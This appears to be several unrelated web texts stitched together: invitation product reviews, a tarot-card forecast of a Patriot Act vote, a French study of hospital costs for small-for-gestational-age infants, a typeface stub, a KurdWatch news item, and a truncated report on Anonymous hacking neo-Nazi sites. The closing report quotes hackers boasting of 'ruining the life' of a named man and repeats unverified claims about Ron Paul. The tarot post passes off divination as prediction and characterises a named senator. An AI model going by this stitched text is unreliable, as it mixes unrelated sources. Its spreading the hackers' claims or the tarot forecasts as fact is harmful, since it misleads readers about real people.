I rounded the corners of the invitations myself as I neglected to select that feature on my order (which is an extra $0.10 an invitation). As an after thought, I should have chosen the Shimmer or Pearlescent Cardstock rather than the matte (also extra $$$) as I ended up adding glitter to the invitation to give it some depth because it looked so boring. I also added a pale pink ribbon to the top of the invitation. The white envelopes that came with the invites were CHEAP. I paid the extra $0.39 an envelope to have my address printed on the back. DO NOT MAKE THAT MISTAKE! The ink used was an awful black that looked as if the printer was running out of the color (I wish I could ask for a refund). I ended up visiting a local stationer to purchase pink envelopes, pink mailing labels, and light pink card sleeves to add some quality to this invite. All in all, for 30 invites, I spent close to $100.00 (about $62.00 at TinyPrints, and the rest at the stationer). Needless to say, this was an expense I did not need and I will revert back to making and printing my own invitations..."
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Review 9 for Colorful Jungle
Overall Rating:
5out of5
Paper Quality:
5out of5
Print/Photo Quality:
4out of5
Design:
5out of5
Customer Service/Delivery:
5out of5
by anorris95821
Date:February 15, 2013
Colorful Jungle
Pros: Whimsical
"This Colorful Jungle Baby Shower set the tone and fun color palette for the baby shower. I received several compliments about the quality and design."
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Review 10 for Colorful Jungle
Overall Rating:
5out of5
Paper Quality:
5out of5
Print/Photo Quality:
5out of5
Design:
5out of5
Customer Service/Delivery:
5out of5
by apollock04
Date:February 12, 2013
City: Long Beach
State:California
Gorgeous Colors
Pros: happy, bright
"I was looking for a bright and colorful invitation for my sister's baby shower and I was immediately attracted to this one. I did read the reviews before purchasing, and I could not have been happier with the product. This invitation is of very high quality and it was very easy to customize the text. I received many complements on the invitation. I also received my invites earlier than expected, which gave me plenty of time to mail them out. I would absolutely recommend this invitation if you want something bright and fun for a baby shower."
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Review 11 for Colorful Jungle
Overall Rating:
5out of5
Paper Quality:
4out of5
Print/Photo Quality:
4out of5
Design:
5out of5
Customer Service/Delivery:
5out of5
by leftylady
Date:January 5, 2013
Very Pleased
Pros: Whimsical, animals
"I'm very satisfied with this product. I chose the standard paper, which is quite sturdy but nothing too fancy. The design is exactly as shown in the pictures and the photo I added to the back turned out great. Definitely order extra envelopes as the invitations don't come with enough in my opinion. The envelopes are pretty flimsy, but it isn't a real problem for me. I love the free RSVP site feature and the order status emails were helpful."
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Review 12 for Colorful Jungle
Overall Rating:
5out of5
Paper Quality:
5out of5
Print/Photo Quality:
5out of5
Design:
5out of5
Customer Service/Delivery:
5out of5
by Anonymous
Date:November 27, 2012
City: Jersey City
State:New Jersey
Love these invitations
Pros: Modern
"They came out great! The colors are vivid and the print is perfect."
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Review 13 for Colorful Jungle
Overall Rating:
5out of5
Paper Quality:
5out of5
Print/Photo Quality:
5out of5
Design:
5out of5
Customer Service/Delivery:
5out of5
by JoniC
Date:October 27, 2012
State:North Carolina
Compliments!
Pros: Whimsical, Simple Chic
"Easy to customize card and have received compliments on the invitation from many guests."
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Review 14 for Colorful Jungle
Overall Rating:
5out of5
Paper Quality:
5out of5
Print/Photo Quality:
5out of5
Design:
5out of5
Customer Service/Delivery:
5out of5
by smayleech
Date:June 17, 2012
City: Charleston
State:South Carolina
Perfection!!
Pros: Traditional, Whimsical
"We were able to personalize this card with cute fonts and change the colors to green and pink just how we wanted it!! It turned out exactly how we pictured it & designed it!! The paper quality of this product is very high! The print quality is also excellent! We were not disappointed about anything!!! We love tiny prints!!"
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Review 15 for Colorful Jungle
Overall Rating:
5out of5
Paper Quality:
5out of5
Print/Photo Quality:
5out of5
Design:
5out of5
Customer Service/Delivery:
5out of5
by MsWinkie
Date:June 10, 2012
Wow! Perfect for a Baby Shower!'
Pros: Artistic, Humorous, Modern
"I was able to VERY EASILY personalize the verbiage of my card. I placed a rush order which I was able to track in REAL TIME on my computer! I knew exactly where the delivery was at all times. They arrived right on time. I opened the package and was thrilled with the quality of the paper and the quality of the printing! My guests LOVED THEM! It really set the tone for a fun shower and inspired the guests to attend."
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Review 16 for Colorful Jungle
Overall Rating:
5out of5
Paper Quality:
5out of5
Print/Photo Quality:
5out of5
Design:
5out of5
Customer Service/Delivery:
5out of5
by Aerin
Date:May 10, 2012
City: Sacramento
State:California
Great!
Pros: Whimsical, Simple Chic
"Exactly what I was looking for. Invitations are thick and heavy, and the colors are deep and rich. Very cute!"
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Review 17 for Colorful Jungle
Overall Rating:
5out of5
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5out of5
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5out of5
Design:
5out of5
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5out of5
by Grandma2B
Date:April 27, 2012
City: Crystal Lake
State:Illinois
Too cute for words!
Pros: Whimsical
"Decided to plan my daughter's baby shower around a baby jungle animal theme. She is having a baby girl and I was able to personalize the invitation announcing "It's a Girl" along with all the other information. The colors are so vibrant and the paper quality is terrific. I also ordered return labels for the envelopes. Everything was delivered on time. I appreciated the email notifications. Can't wait to plan another party! I will use TinyPrints again."
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Review 18 for Colorful Jungle
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5out of5
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5out of5
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5out of5
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5out of5
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5out of5
by momvicki
Date:March 21, 2012
City: Boise
State:Idaho
Wonderful
Pros: Whimsical
"My daughters theme was girl safari for her nursery and this card was perfect. Lots of compliments, came just the way it looks on line. Could not be happier"
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Review 19 for Colorful Jungle
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5out of5
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5out of5
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5out of5
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5out of5
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5out of5
by laurahr22
Date:March 19, 2012
City: Greenwich
State:Connecticut
True to Online View
Pros: Artistic, Simple Chic, Modern
"I bought these invitations for my sister's baby shower and they are just as cute as they look online. Paper Quality it thick and the color is full and bright. We loveee them!"
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Review 20 for Colorful Jungle
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5out of5
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by Vcostellov
Date:February 16, 2012
City: Edmonton
State:Outside of the U.S.
So cute!
Pros: Whimsical
"The invitations i ordered came very quickly and were everything i wanted. They were high quality and just beautiful. I will be ordering from you again. Thanks" |
Patriot Act Extension Predictions
After producing my long winded hub about this weeks force-push of the Patriot Act extension, I found myself curious what my friends the tarot cards had to say about the recent events involving the Patriot Act.
I thought the results and information was quiet interesting, and wanted to share it with those of you who are interested. I have asked the universe for the most probable answers to the upcoming week surrounding the Patriot Act, and this is what the universe has suggested...
Will the Patriot Act be forced through by thursday?
If Harry Reid and his motley mob get their way, the Patriot Act will not be debated, amended, reformed or revised. Yet it will still be voted through the House of Reps by thursday and sent closer to the presidents table top.
So I asked the cards, 'Will the patriot act be force-passed through the house of reps by this Thursday without being debated, amended, reformed or revised?
The simplest answer: No
The more detailed answer:
The Five of Cups reversed very clearly shows that the issue will be turned away from. It also says that there will probably be plenty of politicians with sour faces and hurt feelings, which I assume is from the inability to get the patriot act forced through without a debate. There definitely won't be a shortage of emotions.
This is made more apparent by the appearance of the King of Cups reversed. The king has whispered to me about a possible outburst from a very upset senator in a very high place. This man is likely to be a Gemini or Cancer in his moon sign, with light or grey colored hair. He is an unscrupulous man, who is not afraid to involve himself and his co-workers in scandals and unnecessary risks. He is known for being a speaker and because of the many other traits found in the reversed King of Cups, I would suggest the outbursts will come from Senator Harry Reid. It is clear that his recent outburst and claim that Rand Paul is a terrorist-lover, will not be the only barbaric outburst coming up this week.
For the most part, his words will only make him and the patriot act look less appealing to American's and will bring more misfortune upon his attempt to force the extension through without further debate or reform.
After some rather random and unnecessary outbursts, there will be more communication from truth speaking parties, who will speak out to the masses of American's who recognize their freedom is at risk now. The internet will light up with word of what is happening, and more people now are listening then have ever been. They will stop of much of the communication lines and attempts of those trying to force through the extension.
The King of Cups reversed and reversed Five of Cups are accompanied by what I see as an especially good omen - the Wheel of Fortune. A card that loudly speaks the obvious, the wheel is turning once again. Those that were once on top of the world, now go down a notch, and those that were at the bottom, now come up.
I believe this card is showing truth will come up, and fear based ego will come down. Each will be equalized for at least a time. Which shows that although the patriot act will not be forced passed by this thursday, it will not be thrown away either. Though this is a chance to see that the wheel remains in motion, and eventually brings us full freedom from big brother.
What will happen to the Patriot Act and it's extension this week?
The Five of Swords highlights more communication issues and rash actions. It also highlights pointless struggles for those fighting unjust battles. It is definitely not a good choice to fight battles that are virtue-less, as it will likely cost many their jobs.
To add to this, the Nine of Cups reversed shows that the Patriot Act and it's extension will be experiencing some turbulence, especially in the emotional arena. This shows that although many are coming around, there are still many scared citizens and politicians who are not yet ready to give up what they perceive to be protection and security. This is what will keep the Patriot Act from being stopped in it's tracks completely right now.
The reversed Queen of Swords steps in this week, to throw in plenty of stumbling blocks for all parties involved. She also brings out the more feminine aspects in this issue, and could possibly indicate a dark haired women coming fully into the picture to make things difficult for everyone, especially in the arena of communication.
Though even in her reversed position, the Queen of Swords has a soft spot for truth. She may make it challenging for the truth to get out, but she'll make it double as hard for those just shouting fluff and lies. She shows us that anyone pushing for the patriot act this week, is likely to shoot themselves in one foot, while stuffing the other foot in their mouths.
Summary
Over all, this week promises to be highly emotional and filled with many actions. Some of them will be bold and daring and cut like the edge of a balanced sword. While other actions will be brash, unexpected and fool-hardy. The emotions will be up and down on the scales, as the ego in the solar plexus chakra urges many to remain fearful and others to be righteous.
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Background {#Sec1}
==========
Small for gestational age (SGA) infants are defined by a birth weight lower than the 10th percentile for a given gestational age. SGA infants are at increased risk for preterm birth morbidities as well as a range of adverse perinatal outcomes that result in part from associated premature birth. In adulthood, conditions such as metabolic syndrome, diabetes and hypertension develop more often in individuals born SGA regardless of whether the birth was preterm. Although the health sequelae of SGA are well-documented, relatively little is known about their economic consequences either in early or later life \[[@CR1]\]. Morbidity and mortality related to SGA creates a burden for both families and the health care system.
Several national and international studies have addressed the cost of preterm birth; however, few have estimated the cost of SGA separately from the cost of prematurity \[[@CR2]--[@CR6]\]. A Canadian study suggested that gestational age was a better predictor of cost than fetal growth: premature SGA babies cost at birth was \$109,286 versus \$85,103 for premature non-SGA babies, while the average cost of full term SGA baby was about twice the cost of a full term non-SGA baby \[[@CR2]\]. The intricacy of the relationship between prematurity and SGA contributes to the difficulty of distinguishing those two pathologies in the current literature \[[@CR3], [@CR4], [@CR7]\]. Such a distinction, however, would allow better assessment of the medical and economic consequences of SGA during the neonatal period, childhood and throughout life and help to focus research priorities on early identification of at-risk foetuses.
Our objective was to estimate the additional hospital cost associated with SGA infants from pregnancy through the first year of life and to separate the contributions of prematurity from the contribution of SGA on costs.
Methods {#Sec2}
=======
We used data from the 2011 and 2012 French national hospital claims database (*Programme de Médicalisation des Systèmes d'Information*; PMSI), which collects linked, anonymised medical records of all French inpatient and day case admissions in both public and private hospitals. Maternal and newborn records are linked at the national level. Such administrative databases have been previously used to estimate costs and outcomes of preterm infants \[[@CR4], [@CR8], [@CR9]\].
Population {#Sec3}
----------
We extracted the records of all infants born in metropolitan France in public and private hospitals from January 1, 2011 to December 31, 2011. Hospitalisations during the first year of life were identified by record linkage. Selection of the population was based on the Diagnostic Related Group (DRG), weight and gestational age in addition to diagnoses, procedures and administrative information.
Exclusion criteria were multiple pregnancies, stillbirths (because postnatal costs would be non-existent), problems in the anonymisation process, unclassifiable DRGs, congenital or chromosomal abnormality and absence of data about the weight, sex and gestational age.
We defined subgroups by gestational age (in completed weeks): \[22--28\[ (from 22 to 28 not included), \[28--32\[, \[32--37\[, \[37--39\[ and \[39--43\[. Births before 37 weeks were considered preterm. Within each class of gestational age we classified newborns into SGA and AGA. SGA infants were defined as having birthweights below the 10th percentile of the French intrauterine growth curve adjusted for foetal sex. \[[@CR10]\] AGA infants were defined as having birthweights between the 25th and the 75th percentiles of the same growth curve. We chose this definition for the control group in order to reduce the variability in practice patterns and costs that would occur in the range approaching pathological conditions. These reference curves were recently developed using the representative sample of births from the French Perinatal Survey (FPS) 2010. Initially proposed by Gardosi in the 1990s, they are based on a modelisation of intrauterine growth and foetal weight. SGA thresholds are individually defined according to foetal and maternal physiological factors influencing growth. This definition of SGA births is currently supported by several international guidelines for screening and management of SGA births. Due to a lack of data about maternal height, weight and parity in the French hospital discharge database, we applied the model adjusted for foetal sex. \[[@CR10]--[@CR12]\] Mothers were identified in the database by linkage to the newborn hospital records. Data analysis was authorized by the French data protection authority (CNIL authorization number: 1606292 v 1).
Outcomes {#Sec4}
--------
Type of delivery and complications were identified by the International Classification of Diseases, tenth revision (ICD-10) and procedures codes. Mortality was defined as death during the index hospitalisation or during the first year of life and excluded stillbirths. Deaths were identified using the discharge status; in-hospital death during the first year was identified by record linkage. The mortality information provided by DRGs was verified via a national standard procedure with linkage to national death registries \[[@CR13]--[@CR15]\].
Hospital resources and costs {#Sec5}
----------------------------
A summary of all hospital inpatient service utilisation from the day of birth through the first year of life was compiled for all study infants. Record linkage between newborns and mothers was used to identify hospital admissions during pregnancy and delivery-related costs.
Data extracted included mode of delivery and type of neonatology unit, date of each admission, length of stay, procedures performed and ICD-10 codes. The total time infants and mothers spent in the hospital was calculated by summing the lengths of stay of successive admissions (including day cases) over a 1-year period. Hospital costs were calculated from the health insurance perspective \[[@CR16]\]. Ambulatory expenses are not included in the discharge database. The total cost of deliveries in France and the SGA share of this cost was also estimated. All costs are in 2015 €.
Statistical analysis {#Sec6}
--------------------
Maternal and neonatal characteristics, resource utilisation (length of stay, use of intensive care, readmission) and costs were summarised by gestational age and compared between SGA and AGA infants using Pearson's Chi-squared test and Wilcoxon's test for qualitative and quantitative variables respectively. All tests were two-sided, and *p*-values lower than 0.05 were considered statistically significant. Determinants of cost variations between the two groups were studied according to gestational age. Results are presented in means and standard deviations (SD); because of the skewed distribution of costs we also reported medians and interquartile ranges (IQR). The excess mortality was calculated by dividing the mortality rate of the SGA group by the mortality rate of the AGA group in each gestational age class. Cost differences and their standard deviations were calculated using 1,000 bootstrap replications. All analyses were performed with SAS version 9.3 (SAS Institute, Cary, NC).
Results {#Sec7}
=======
Population {#Sec8}
----------
A total of 777,720 births and 858,608 admissions were identified nationally We excluded *N* = 59,082 linked admissions, *N* = 13,106 multiple pregnancies, *N* = 4,873 unclassifiable DRGs, *N* = 1,354 congenital or chromosomal abnormalities, *N* = 2,473 missing values for weight and gestational age, *N* = 180,978 non-SGA or -AGA births, *N* = 6,828 stays with problems in mother-infant record linkage and *N* = 3,660 stillbirths (Fig. [1](#Fig1){ref-type="fig"}). After applying the exclusion criteria, 84,688 SGA births (10.9% of total births) and 395,760 AGA births (51.8% of total births) remained for the analyses. There were 3,660 stillbirths, 2,069 in the SGA group (1.8% of total SGA births) versus 1,591 in the AGA group (0.3% of total AGA births).Fig. 1Selection of the study population
Population characteristics are presented in Table [1](#Tab1){ref-type="table"}. Preterm birth was reported for 11,097 individuals (13.1%) in the SGA group and 22,627 individuals (5.7%) in the AGA group (gestational age \< 37 weeks). The average age of mothers was 28.9 (SD = 5.9) years in the SGA group and 29.1 (SD = 5.7) years in the AGA group (*p* \< 0.001). The proportion of deliveries in public hospitals was higher in the SGA group (64,117 births, 75.7% versus 282,180 births, 71.3%).Table 1Characteristics of the population at birth in small and average for gestational age infants, and risk ratios between groupsSGA\
*N* = 84,688AGA\
*N* = 395,760Risk Ratio\
AGA/SGAN%N%RR \[CI 95%\]SexMale42,64650.36200,65350.70Female42,04249.64195,10749.300.99 \[0.97; 1.01\]Gestational age\<37 weeks11,09713.1022,6275.720.53 \[0.52; 0.53\]DeliveryCaesarean15,07417.853,42813.5Vaginal delivery69,61482.2342,33286.51.39 \[1.35; 1.41\]ICU admissionYES18,32021.6328,4857.200.31 \[0.31; 0.32\]*ICU* Intensive Care Unit; *SGA* Small for Gestational Age; *AGA* Appropriate for Gestational Age
Outcomes {#Sec9}
--------
Caesarean section delivery was performed for 17.8% of the SGA mothers versus 13.5% of the AGA mothers. The rate of caesarean section was consistently higher in SGA versus AGA births for all gestational ages, with the highest excess rate in the \[28--32\[ weeks gestational age group and lowest in the \[37--39\] weeks gestational age group (Table [2](#Tab2){ref-type="table"}).Table 2Type of delivery section according to gestational age in SGA and AGA infantsSGA deliveryAGA DeliveryRisk Ratio for caesarean section\
AGA/SGACaesareanVaginal deliveryCaesareanVaginal deliveryRR \[95% CI\]Gestational age (weeks)\[22--28\[ (*N* = 1,213)34.0%66.0%22.6%77.4%1.75 \[1.37; 2.27\]\[28--32\[ (*N* = 3,346)46.7%53.3%29.7%70.3%2.08 \[1.79; 2.44\]\[32--37\[ (*N* = 29,165)35.3%64.7%17.9%82.1%2.5 \[2.38; 2.63\]\[37--39\[ (*N* = 101,974)19.9%80.1%15.9%84.1%1.32 \[1.27; 1.37\]\[39--43\[ (*N* = 344,750)14.8%85.2%12.1%87.9%1.25 \[1.22; 1.28\]*SGA* Small for Gestational Age; *AGA* Appropriate for Gestational Age
Mortality during the first year of life was higher in SGA infants with 529 deaths (0.60%) versus 628 deaths (0.16%) in AGA, *p* \< 0.001. Mortality was highest in the \[22--28\[ weeks gestational age group (Table [3](#Tab3){ref-type="table"}) regardless of birth weight. After stratification by gestational age, we found that the excess mortality of SGA was the lowest between 22 and 28 weeks of gestation and increased twofold after 37 weeks (Fig. [2](#Fig2){ref-type="fig"}).Table 3SGA and AGA total 1-year mortality by gestational age (stillbirths excluded)SGATOTAL\
populationAGATOTAL\
populationGestational age at delivery (weeks)*N* deaths%*NN* deaths%*N*\[22--28 \[18736.251722332.0696\[28--32 \[1086.01,791664.21,555\[32--37 \[961.18,789990.520,376\[37--39 \[610.317,491790.0984,483\[39--43\[770.156,1001610.06288,650TOTAL5290.684,6886280.16395,760*SGA* Small for Gestational Age; *AGA* Appropriate for Gestational Age Fig. 2Excess mortality for SGA infants compared to AGA infants by to gestational age
Hospital resources and costs {#Sec10}
----------------------------
### Mothers {#Sec11}
Hospital admission during the prenatal period occurred in 23.6% mothers in the SGA group versus 19.6% in the AGA group. The average length of prenatal stay was 2.3 (SD = 5.9, median = 0 and IQR = \[0;2\]) days in the SGA group versus 1.8 (SD = 5.3, median = 0 and IQR = \[0;1\]) days in the AGA group (*p* \< 0.001). The average length of post-partum hospitalisation was higher in the SGA group, 5.9 (SD = 4.7, median = 5 and IQR = \[4;6\]) days versus 4.9 (SD = 3.4, median = 4 and IQR = \[4;5\]) days (*p* \< 0.001).
The average pregnancy hospital costs were €868 (SD = €1,975, median = €0 and IQR = \[€0; €932\]) and €655 (SD = €1,736, median = €0 and IQR = \[€0; €746\]) in the SGA and AGA groups respectively for all mothers. The average delivery costs were €2,563 (SD = €1,443, median = €2,418 and IQR = \[€2,033; €2,806\]) and €2,357 (SD = €917, median = €2,076 and IQR = \[€2,033; €2,418\]) in the SGA and AGA groups respectively. The total average pre- and post-natal cost for mothers was higher in the SGA group €3,431 (SD = €2,637; median = €2,689 and IQR = \[€2,123--€3,738\]) versus €3,012 (SD = €2,138; median = €2,418; IQR = \[€2,033--€3,127\]) in the AGA group (*p* \< 0.001). After stratifying by gestational age, the average total cost was higher in the SGA than in the AGA infants in all age groups (Table [4](#Tab4){ref-type="table"}).Table 4Pregnancy to one year hospitalisation costs: mean (standard deviation), by gestational age for SGA and AGA infantsGestational age\[22--28\[\[28--32\[\[32--37\[\[37--39\[\[39--43\[*N* = 1,213*N* = 3,346*N* = 29,165*N* = 101,974*N* = 344,750SGAAGASGAAGASGAAGASGAAGASGAAGA*N* = 517*N* = 696*N* = 1,791*N* = 1,555*N* = 8,789*N* = 20,376*N* = 17,491*N* = 84,483*N* = 56,100*N* = 288,650Mean (SD)Mean (SD)Mean (SD)Mean (SD)Mean (SD)Mean (SD)Mean (SD)Mean (SD)Mean (SD)Mean (SD)PREGNANCY (maternal)€1,785 (€2,673)€1,763 (€2,387)€2,739 (€2,814)€4,150 (€6,295)€3,238 (€3,358)€2,759 (€3,507)€1,726 (€2,486)€1,160 (€1,945)€640 (€1,404)€477 (€1,119)DELIVERY (maternal)€6,675 (€12,363)€3,735 (€2,220)€6,175 (€1,242)€6,306 (€3,557)€6,296 (€2,335)€4,878 (€2,203)€3,395 (€818)€3,026 (€726)€2,585 (€773)€2,481 (€508)INITIAL HOSPITALISATION (infant)€42,539 (€33,838)€36,905 (€30,188)€28,671 (€14,143)€21,935 (€14,680)€8,484 (€7,869)€4,539 (€5,313)€2,067 (€2,620)€1,074 (€1,315)€1,170 (€1,374)€979 (€849)FIRST YEAR OF LIFE€17,273 (€31,936)€21,145 (€35,397)€14,143 (€22,627)€13,571 (€19,624)€3,868 (€8,899)€1,994 (€6,230)€715 (€3,060)€392 (€1,935)€416 (€2,615)€287 (€1,833)TOTAL AVERAGE COST€68,272 (€43,776)€63,547 (€43,951)€49,304 (€27,118)€43,490 (€21,423)€18,783 (€12,078)€12,026 (€8,585)€6,634 (€4,313)€4,682 (€2,556)€4,487 (€3,080)€3,926 (€2,081)57,77251,94842,54538,88512,5519,7215,5544,1213,7033,467Median (IQR)\[38,780; 86,606\]\[34,779; 81,310\]\[30,175; 60,134\]\[27726; 52,644\]\[6,822; 22,688\]\[6,330; 15,051\]\[3,742; 8,324\]\[2,909; 5,824\]\[2,443; 5,628\]\[2,476; 4,855\]Average cost difference between SGA and AGA infants€ 4,725€ 5,814€ 6,757€ 1,952€ 561
### Infants {#Sec12}
The 84,688 SGA births had 1.3 hospital admissions/infant during the first year, with a readmission rate of 16.4%, while the 395,760 AGA births had 1.2 admission/infant and a 12.9% readmission rate. There were also more emergency hospital transfers in the SGA group than in the AGA group (8 vs. 3.6%) and a higher proportion of infants transferred to intensive care during the initial or subsequent admissions (22.5% versus 8.3%, *p* \< 0.001). The excess transfer and readmission rate was greater for SGA infants with preterm birth (31.3% versus 25.3% in preterm AGA, *p* \< 0.001) than for full term births (14.2% versus 12.2% for term AGA, *p* \< 0.001).
The average length of stay for the initial hospitalisation was 7 days (median = 4 and IQR = \[4;6\]) in the SGA group versus 4.6 days (median = 4 and IQR = \[3;5\]) in the AGA group (*p* \< 0.001) with an average length of stay in intensive care of 3.4 days (median = 0 and IQR = \[0;0\]) versus 0.7 day (median = 0 and IQR = \[0;0\]) (*p* \< 0.001). The average total length of stay during the first year was 7.8 days (median = 3 and IQR = \[2;7\]) versus 5.1 days (median = 3 and IQR = \[2;6\]), (*p* \< 0.001).
The average cost of the initial hospitalisation was €2,948 (SD = €7,292; median = €903; IQR = \[€903; €1,699\]) in the SGA group and €1,328 (SD = €3,053; median = €903; IQR = \[823; 903\]) in the AGA group. The average costs by infant of all readmissions were €1,229 (SD = €6,167, median = €0 IQR = \[€0; €0\]) and €486 (SD = €3,245, median = €0 IQR = \[€0; €0\]) respectively. The total average cost for infants was €4,178 (SD = €10,711 median €1,205 IQR = \[€903; €2,486\]) in the SGA group and €1,814 (SD = €4,996; median = €903; IQR = \[€903; €1,506\]) in the AGA group. All cost differences were significant (*p* \< 0.001) (Table [4](#Tab4){ref-type="table"}). Medians and IQR at 0 are explained by situations were more than 75% was not hospitalized, and thus had a cost at 0.
### Total cost {#Sec13}
The total average cost for infants and mothers from the beginning of pregnancy through the first year of life was €2,783 higher in the SGA group than in the AGA group: €7,609 (SD = €14,041, median = €4,213 IQR = \[€2,252; €7,666\]) and €4,826 (SD = €6,255, median = €3,070 IQR = \[€1,817; €5,422\]) in the SGA and AGA groups respectively.
After stratifying newborns by gestational age, the average total cost for infants was higher in the SGA group than in the AGA group for all age groups. The highest cost difference was found in the \[32-37 \[gestational age group (*N* = 29,165 6%) (Fig. [3](#Fig3){ref-type="fig"}). The cost difference decreased with increasing gestational age (Fig. [3](#Fig3){ref-type="fig"} and Table [4](#Tab4){ref-type="table"}).Fig. 3Hospital costs difference between SGA and AGA births according to gestational age
The total cost of pre-and post-partum (1 year) hospital admissions for SGA in France were €638 million. The additional cost for SGA compared to AGA was €1,478 million of which one-third (€493 million) was spent on preterm and two-thirds (€985 million) on full term SGA infants.
The total cost from pregnancy through the first year of life of all deliveries in France was €2,756 billion for 830,000 yearly births: SGA newborns represented 10.9% of total deliveries and 23% of total costs.
Discussion {#Sec14}
==========
Main findings {#Sec15}
-------------
While there is published evidence on the economic consequences of preterm birth in several countries, the impact of being small for gestational age has seldom been assessed. Our main findings are that, of the total 779,376 births in France, the 84,688 SGA births cost on average €7,609 per infant (median = €4,213) from pregnancy to 1 year of age, or €2,783 more in average than AGA infants; SGA infants represented 23% of total delivery costs.
Regardless of the term, compared to AGA infants, SGA infants had longer hospital stays at delivery, were more likely to be admitted to an intensive care unit and were more likely to be hospitalised during the first year of life, resulting in higher costs. The mothers of SGA infants were also more likely to be hospitalised during pregnancy and had longer delivery stays. Total costs were highest for infants born between 22 to 28 weeks of gestation, and excess costs were highest for infants born between 32 to 37 weeks of gestation. After 37 weeks of gestation, the cost difference decreased as the gestational age increased. By contrast, the excess mortality increased when gestational age increased and was higher in late preterm and term infants than in infants at 28--36 weeks gestation.
Several reasons may explain this finding: the outcome difference for pre-term births may be driven mostly by gestational age rather than foetal growth, thus reducing the relative effect of SGA. Additionally, the absence of early diagnosis may have led to suboptimal obstetrical and neonatal management, which in turn may have resulted in low costs but poor outcome.
Strength and limitations {#Sec16}
------------------------
The strength of our study lies in the fact that we have an exhaustive French hospital database with record linkage over a 2-year period. Non-hospital births and births with coding errors or imperfect linkage were excluded; the initial dataset comprised 779,376 births of the 792,996 live births registered. Hospital costs were calculated according to national French health insurance references. We also included maternal costs, which are seldom reported in perinatal economic studies.
Although the discharge database was initially developed as a tool for assessing funding related to medical activities in public and private hospitals, the main variables used in this study were recently found to be robust when compared with national vital statistics data \[[@CR13]\] and to a national perinatal survey \[[@CR10]\].
Furthermore, reporting of the variables in our study (length of stay, intensive care utilisation, birth weight, gestational age, mortality) are legally binding on hospitals and subject to controls. We chose 'hyper normal' infants for the comparator group but estimated the average neonatal cost for the population with the full dataset.
The main limitation was that our study considered only hospital costs. Moreover, the 1-year time horizon is too short to fully capture the economic consequences of SGA birth. The long term health impacts have been documented, and their costs will be assessed in future cohort studies.
Interpretation {#Sec17}
--------------
Other studies of preterm infants compared to full term infants found both higher mortality and complication rates \[[@CR17]\], higher service utilisation and costs \[[@CR4], [@CR8]\] and an inverse relationship between gestational age and costs \[[@CR6]--[@CR8], [@CR16]\]. The total costs of preterm infants in our study are comparable to those reported in countries with developed neonatal intensive care units \[[@CR3], [@CR4], [@CR8], [@CR9]\]. Full resuscitation is not standard in France before 24 weeks of gestation; palliative care is provided to infants born earlier. Thus costs in the 22--28 weeks gestational age group may be even higher in countries were full resuscitation is standard care. Lim found that on average the cost of SGA infants was twice the cost of AGA infants \[[@CR2]\]. This cost difference is higher than in our study but used a different costing methodology. In contrast to the Canadian study \[[@CR2]\], we found that the difference between AGA and SGA hospital costs was strongly related to gestational age, decreasing monotonously from 28 to 32 weeks gestational age to term infants. The rates of caesarean sections in both preterm and SGA in Canada were markedly lower (6--13%) than in France \[[@CR2], [@CR18]\]. The most recently published cost study of preterm infants in the East Midlands reports birth to discharge hospital costs comparable to ours, with the same association between costs and gestational age \[[@CR6]\].
Conclusion {#Sec18}
==========
We found that being SGA predicted high hospital costs regardless of gestational age. The additional cost of SGA births was explained by higher complication rates, more frequent hospital readmissions and longer lengths of stay. SGA appears to be an independent contributor to high hospital costs in the short term. This data could be used in models to predict the costs associated with SGA \[[@CR19]\].
AGA
: Appropriate for gestational age
CNIL
: Commission nationale de l'informatique et des libertés
DRG
: Diagnostic Related Group
ICD-10
: International Classification of Diseases 10th Revision
IQR
: Inter-Quartile Range
PMSI
: Programme de Médicalisation des Systèmes d'Information
SD
: Standard Deviation
SGA
: Small for Gestational age
We would like to thank Karen BERG BRIGHAM for her constructive comments on the draft manuscript.
Funding {#FPar1}
=======
PREMUP foundation, a non-profit organisation. AM, OB, VT, MAC, FG, and IDZ are members of the PREMUP foundation. DEB is the director of the PREMUP foundation.
Availability of data and material {#FPar2}
=================================
PMSI (Programme de Médicalisation des Systèmes d'Information) individual-level data are only available for French institutions having a SIRET (Système d'identification du répertoire des établissements) identification number. Institutions from other countries can ask for access at the following email address: demande_base\@atih.sante.fr.
Authors' contributions {#FPar3}
======================
AM and AFP performed the data analysis, interpreted the results and drafted the manuscript. IDZ and DEB contributed to the study design; data analysis and interpretation reviewed and revised the manuscript. OB, VT, AE, MAC and FG contributed to the study design, the data interpretation and critical revision of the manuscript. All authors read and approved the final version.
Competing interests {#FPar4}
===================
The authors declare that they have no competing interests.
Consent for publication {#FPar5}
=======================
Not applicable.
Ethics approval and consent to participate {#FPar6}
==========================================
Not applicable.
Publisher's Note {#FPar7}
================
Springer Nature remains neutral with regard to jurisdictional claims in published maps and institutional affiliations.
|
Non-alphanumeric typeface
Typefaces which contain pictures or symbols rather than letters and numbers are called non-alphanumeric typefaces.
Important subclasses are dingbats, Ornamental and Pictorial Typefaces
References
Category:Typefaces
External links
Remove / Delete Non-Alphanumeric Characters ( Commas, Dots, Special Symbols, Math Symbols etc.) from text. |
KurdWatch, July 15, 2016—On July 10, 2016, the Asayiş, the security service of the Democratic Union Party (PYD), released Anwar Naso, politburo member of the Kurdish Union Party in Syria (Yekîtî), Ridwan Hammu, also a Yekîtî member, as well as ʿAbdulkarim Muhammad, politburo member of the Kurdistan Democratic Party – Syria (PDK‑S). The Asayiş abducted Muhammad on June 27 [further informaiton], Naso and Hammu on May 28 [further information]. Shortly before his release, the Asayiş took Naso to the hospital due to heart problems. |
The group of hackers known as “Anonymous” has shut down several neo-Nazi websites owned by Jamie Kelso, a former John Birch Society member, assistant to David Duke and moderator for the white supremacist website, Stormfront.
“Anonymous” claims to have recovered emails from Kelso that prove that Ron Paul has regularly met with members of Jamie Kelso’s neo-Nazi political party American Third Position and even was on several conference calls with their board of directors. Here is a statement from “Anonymous” from one of the neo-Nazi websites they shut down.
In addition to finding the usual racist rants and interactions with other white
power groups, we also found a disturbingly high amount of members who are also
involved in campaigning for Ron Paul. According to these messages, Ron Paul has
regularly met with many A3P members, even engaging in conference calls with
their board of directors. Ron Paul’s racist politics and
affiliations are already well known, being viciously anti-immigrant,
anti-abortion and against gay marriage — not to mention having authored the
racist “Ron Paul Papers” and receiving financial support from other white power
groups (pictured with Don Black from stormfront.org). Hard to believe Ron Paul
draws some support from the left and the occupation movements, especially now
that it is confirmed Ron Paul hangs out with straight up racist hate groups.
We put extra effort in ruining the life of A3P webmaster Jamie Kelso. On top of
being on the board of directors of A3P, former $cientologist, and high ranking
Ron Paul organizer, he also is the account owner of german nazi forums and store
